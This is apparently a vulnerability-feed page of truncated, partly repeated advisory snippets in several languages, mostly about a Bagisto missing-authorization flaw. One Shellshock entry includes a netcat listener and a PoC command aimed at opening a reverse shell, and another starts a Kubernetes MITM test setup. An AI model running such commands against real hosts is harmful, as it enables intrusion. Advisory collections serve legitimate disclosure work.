CVE-2026-101139

A vulnerability was detected in Webkul Bagisto up to 2.4.6/2.5.0-beta4. This impacts an unknown function of the file /admin/sales/invoices/mass-update/state of the component Invoice Mass Status Update. Performing a manipulation results in missing authorization. The attack can be initiated remotel...

CVE-2026-101139 Webkul Bagisto Invoice Mass Status Update state authorization

A vulnerability was detected in Webkul Bagisto up to 2.4.6/2.5.0-beta4. This impacts an unknown function of the file /admin/sales/invoices/mass-update/state of the component Invoice Mass Status Update. Performing a manipulation results in missing authorization. The attack can be initiated remotel...

CVE-2026-101139 Webkul Bagisto Invoice Mass Status Update state authorization

A vulnerability was detected in Webkul Bagisto up to 2.4.6. This impacts an unknown function of the file /admin/sales/invoices/mass-update/state of the component Invoice Mass Status Update. Performing a manipulation results in missing authorization. The attack can be initiated remotely. The explo...

EUVD-2026-88444

A vulnerability was detected in Webkul Bagisto up to 2.4.6. This impacts an unknown function of the file /admin/sales/invoices/mass-update/state of the component Invoice Mass Status Update. Performing a manipulation results in missing authorization. The attack can be initiated remotely. The explo...

CVE-2026-101139 Webkul Bagisto Invoice Mass Status Update state authorization

A vulnerability was detected in Webkul Bagisto up to 2.4.6/2.5.0-beta4. This impacts an unknown function of the file /admin/sales/invoices/mass-update/state of the component Invoice Mass Status Update. Performing a manipulation results in missing authorization. The attack can be initiated remotel...

CVE-2026-101139

A vulnerability exists in Webkul Bagisto up to version 2.4.6 within the Invoice Mass Status Update component. The issue impacts an unknown function of the file /admin/sales/invoices/mass-update/state, where performing a manipulation leads to missing authorization . This flaw can be exploited remo...

GO-2026-6481 Mattermost doesn't enforce bot-specific permission checks on the user active status endpoint in github.com/mattermost/mattermost-server

Mattermost doesn't enforce bot-specific permission checks on the user active status endpoint in github.com/mattermost/mattermost-server...

CVE-2014-6271

CVE-2014-6271 python2.7 자신의 머신에서 리슨을 시작하세요. nc -l -p 4444 아래 규칙에 따라 python 스크립트를 실행하세요: python shellpoc.py python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 즐기세요...

itscape

ITScape — Linux KVM/arm64 ゲストからホストへのエスケープ追跡サイト ITScape パッチステータストラッカーのソースです。Linux カーネルの KVM/arm64 ゲストからホストへのエスケープに対する修正を、どのディストリビューションがリリースしたかを記録するシングルページサイトです。 事実はどこにあるか バグに関するすべての情報（CVE ID、影響を受けるバージョンと修正済みバージョン、上流の修正コミット、発見と開示のクレジット、ディストリビューションごとの最終的なパッチステータス）は、この README ではなくトラッカーページにあります。 表示:...

CVE-2026-90782-s2opc-status-clobber

CVE-2026-90782 — S2OPC ステータスクロバリングによる NULL 逆参照 S2OPC Safe & Secure OPC における CVE-2026-90782 のスタンドアロン概念実証。 脆弱性 allocnotificationmessageitems S2OPC 1.7.3 以前 において: 単一の共有 status 変数が DataChange と Event の両方の割り当てに使用されている。 DataChange の割り当てが失敗し OOM / 非 OK を返す、その後の Event の割り当てが成功すると、status が SOPCSTATUSOK...

CVE-2024-57778

CVE-2024-57778 설명 : Orbe ONetView Roteador Onet-1200의 문제로 인해 원격 공격자가 서버의 응답을 상태 코드 500에서 상태 코드 200으로 변경하여 권한을 상승시킬 수 있습니다. 버전 : Orbe ONetView Roteador Onet-1200 Orbe 1680210096에서 발견되었으며, 이후의 모든 버전에 적용됩니다. 개념 증명 라우터의 메뉴 페이지인 http://192.168.1.1/menu.html에 접속하여 아무 옵션이나 클릭하면 500 오류 코드가 표시됩니다: 이후 Burp...

OpenSC

OpenSC 문서 위키는 온라인에서 이용 가능합니다 OpenSC를 사용하기 전에 문서를 먼저 살펴보시기 바랍니다. 특정 카드의 빌드 및 테스트 상태: 카드| 상태 ---|--- CAC| Coolkey|...

By-Poloss..-..CVE-2026-12432-PoC

CVE-2026-12432: WP Full Stripe Free = 8.4.4 公開日 : 2026年6月26日 最終更新日 : 2026年6月27日 研究者 : Netwurm - VTDR e.V.i.G. 脆弱性の説明 WordPress用プラグインWP Full Stripe Freeは、バージョン8.4.3 （およびそれ以前）において、AJAXアクションwpfsupdatefailedpaymentstatusを介して認可の欠如 の脆弱性が存在します。 根本原因 脆弱なAJAXエンドポイントは、wpajax と wpajaxnopriv の両方のフックで登録されています...

CVE-2026-31431

CVE-2026-31431 — Copy Fail 패치 상태 추적 사이트 Copy Fail 패치 상태 추적기의 소스: Linux 커널의 algifaead 권한 상승 취약점에 대한 수정을 어떤 배포판이 배포했는지 기록하는 단일 페이지 사이트입니다. 사실 정보가 있는 곳 이 버그에 관한 모든 것 — CVE ID, 영향 및 수정 버전, 상류 수정 커밋, 발견 및 공개 크레딧, 최종 배포판별 패치 상태 — 은 이 README가 아닌 추적기 페이지에 속합니다: 렌더링 결과: https://kimmo.cloud/CVE-2026-31431/...

PT-2026-102335

Name of the Vulnerable Software and Affected Versions @grpc/grpc-js versions prior to 1.13.6 @grpc/grpc-js versions prior to 1.14.5 Description When an application method handler throws an uncaught error, the server includes the error message in the status message sent to the client. This can lea...

PT-2026-99779

Name of the Vulnerable Software and Affected Versions Verge3D WordPress plugin versions 4.1.0 through 4.13.0 Description An issue exists where the plugin fails to verify payment status with the payment provider and does not validate order ownership. This allows unauthenticated users to mark any...

CVE-2026-101139: Missing Authorization

A vulnerability was detected in Webkul Bagisto up to 2.4.6/2.5.0-beta4. This impacts an unknown function of the file /admin/sales/invoices/mass-update/state of the component Invoice Mass Status Update. Performing a manipulation results in missing authorization. The attack can be initiated remotel...

CVE-2020-8554

Kubernetes 클러스터 생성 kind create cluster --config ./kind.yaml 클러스터에는 certmanager가 설치되어 있어야 합니다: https://cert-manager.io/docs/installation/kubernetes/ 취약점 테스트 kubectl apply -f - 'EOF' apiVersion: v1 kind: Namespace metadata: name: kubeproxy-mitm --- apiVersion: apps/v1 kind: Deployment metadata: nam...

CVE-2025-63587

rittalvuln 이 취약점은 확실히 3.15.704 펌웨어를 사용하는 Rittal CMC III 7030.000에 해당되지만, 다른 제품에도 적용될 가능성이 있습니다. 취약점의 핵심: 올바른 로그인을 하면 응답으로 "login failed"가 반환되지만, 잘못된 로그인을 하면 "some error has occured..." 오류가 반환됩니다. 올바른 로그인 잘못된 로그인...

CVE-2026-53493 vulnerabilities

Vulnerabilities for packages: dagger, eksctl, chartmuseum, docker, k8sgpt, nerdctl, kargo, k9s, kubescape, newrelic-infrastructure-agent, kubescape-operator, k3s, helm-set-status, falco-no-driver, skaffold, tigera-operator, trivy-operator, docker-cli-buildx, xeol, kubevela, zot, helm-mapkubeapis,...